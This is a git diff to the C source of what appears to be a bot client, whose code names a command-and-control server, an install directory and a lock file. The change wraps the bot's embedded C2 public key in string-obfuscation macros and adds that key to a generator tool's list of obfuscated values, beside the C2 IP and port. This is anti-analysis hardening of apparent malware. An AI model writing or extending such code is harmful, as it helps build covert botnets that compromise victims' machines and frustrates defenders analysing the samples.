diff --git a/bot/src/bot.c b/bot/src/bot.c index 26cd069..f5639f6 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -1,6 +1,7 @@ #include "lmem.h" #include "lsodium.h" #include "lerror.h" +#include "lbox.h" #include "bot.h" #include "shell.h" @@ -53,6 +54,7 @@ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) { /* ==================================================[[ Bot ]]=================================================== */ struct sLaika_bot *laikaB_newBot(void) { + LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY); struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot)); struct hostent *host; char *tempINBuf; @@ -90,7 +92,7 @@ struct sLaika_bot *laikaB_newBot(void) { } /* read cnc's public key into peerPub */ - if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) { + if (!laikaK_loadKeys(bot->peer->peerPub, NULL, cncPubKey, NULL)) { laikaB_freeBot(bot); LAIKA_ERROR("Failed to init cnc public key!\n"); } @@ -113,6 +115,7 @@ struct sLaika_bot *laikaB_newBot(void) { /* copy inet address info */ strcpy(bot->peer->inet, tempINBuf); + LAIKA_BOX_SKID_END(cncPubKey); return bot; } diff --git a/tools/vmboxgen/src/main.c b/tools/vmboxgen/src/main.c index 66795b7..1c4ea33 100644 --- a/tools/vmboxgen/src/main.c +++ b/tools/vmboxgen/src/main.c @@ -74,6 +74,7 @@ int main(int argv, char **argc) { /* shared */ MAKESKIDDATA(LAIKA_CNC_IP); MAKESKIDDATA(LAIKA_CNC_PORT); + MAKESKIDDATA(LAIKA_PUBKEY); /* linux */ MAKESKIDDATA(LAIKA_LIN_LOCK_FILE); MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);